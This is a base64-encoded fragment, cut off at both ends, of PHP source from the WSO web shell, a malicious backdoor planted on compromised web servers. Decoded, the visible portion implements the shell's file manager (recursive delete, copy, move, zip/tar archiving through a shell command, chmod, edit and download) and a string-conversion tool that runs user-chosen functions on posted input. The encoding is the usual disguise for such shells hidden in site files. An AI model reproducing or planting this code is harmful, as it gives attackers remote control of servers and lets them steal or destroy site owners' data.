gICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICBjYXNlICdwYXN0ZSc6IA0KICAgICAgICAgICAgICAgIGlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7IA0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJF9TRVNTSU9OWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7IA0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgDQogICAgICAgICAgICAgICAgICAgICAgICBAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOyANCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9TRVNTSU9OWydjJ10uJGYpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9TRVNTSU9OWydjJ10uJGYsICRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfU0VTU0lPTlsnYyddLiRmKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAndW56aXAnKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHppcC0+b3BlbigkX1NFU1NJT05bJ2MnXS4kZikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykgeyANCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9TRVNTSU9OWydmJ10pOyANCiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfU0VTU0lPTlsnZiddKSk7IA0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgZGVmYXVsdDogDQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107IA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIH0gDQogICAgfSANCiAgICAkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOyANCiAgICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzt3c29Gb290ZXIoKTsgcmV0dXJuOyB9IA0KICAgIGdsb2JhbCAkc29ydDsgDQogICAgJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpIA0KICAgICAgICAgICAgJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsgDQogICAgfSANCmVjaG8gIjxzY3JpcHQ+IA0KICAgIGZ1bmN0aW9uIHNhKCkgeyANCiAgICAgICAgZm9yKGk9MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykgDQogICAgICAgICAgICBpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykgDQogICAgICAgICAgICAgICAgZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOyANCiAgICB9IA0KICANCjwvc2NyaXB0PiANCjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+IA0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsgDQogICAgJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOyANCiAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsgDQogICAgZm9yKCRpPTA7JGk8JG47JGkrKykgeyANCiAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7IA0KICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsgDQogICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLCANCiAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLCANCiAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwgDQogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwgDQogICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLCANCiAgICAgICAgICAgICAgICAgICAgICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLCANCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pIA0KICAgICAgICAgICAgICAgICAgICApOyANCiAgICAgICAgaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkgDQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsgDQogICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSANCiAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOyANCiAgICAgICAgZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkgDQogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7IA0KICAgIH0gDQogICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OyANCiAgICBmdW5jdGlvbiB3c29DbXAoJGEsICRiKSB7IA0KICAgICAgICBpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykgDQogICAgICAgICAgICByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7IA0KICAgICAgICBlbHNlDQogICAgICAgICAgICByZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOyANCiAgICB9IA0KICAgIHVzb3J0KCRmaWxlcywgIndzb0NtcCIpOyANCiAgICB1c29ydCgkZGlycywgIndzb0NtcCIpOyANCiAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsgDQogICAgJGwgPSAwOyANCiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgeyANCiAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIHRpdGxlPScgLiAkZlsnbGluayddIC4gJz48Yj5bICcgLiBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pIC4gJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/d3NvVmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddIA0KICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsgDQogICAgICAgICRsID0gJGw/MDoxOyANCiAgICB9IA0KICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj03PiANCiAgDQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPiANCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4gDQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+IA0KICAgIDxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOyANCiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7IA0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOyANCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSkgDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsgDQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsgDQogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB8fCAoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykpKSANCiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCc/J3ppcCc6J3Rhci5neicpIC4gIic+Jm5ic3A7IjsgDQogICAgZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsgDQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0gDQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319IA0KICAgICRzdHJpbmdUb29scyA9IGFycmF5KCANCiAgICAgICAgJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywgDQogICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsIA0KICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsIA0KICAgICAgICAnVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsIA0KICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsIA0KICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLCANCiAgICAgICAgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLCANCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLCANCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLCANCiAgICAgICAgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsIA0KICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywgDQogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywgDQogICAgICAgICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsIA0KICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsIA0KICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsIA0KICAgICAgICAnQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsIA0KICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYycsIA0KICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywgDQogICAgICAgICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLCANCiAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywgDQogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywgDQogICAgKTsgDQogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7IA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7IA0KICAgICAgICBvYl9zdGFydCgpOyANCiAgICAgICAgaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKSANCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7IA0KICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsgDQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7IA0KICAgICAgICBleGl0OyANCiAgICB9IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBlY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgDQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7IA0KICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOyANCiAgICBmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikgDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsgDQogICAgICAgIGVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NUWydwMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtY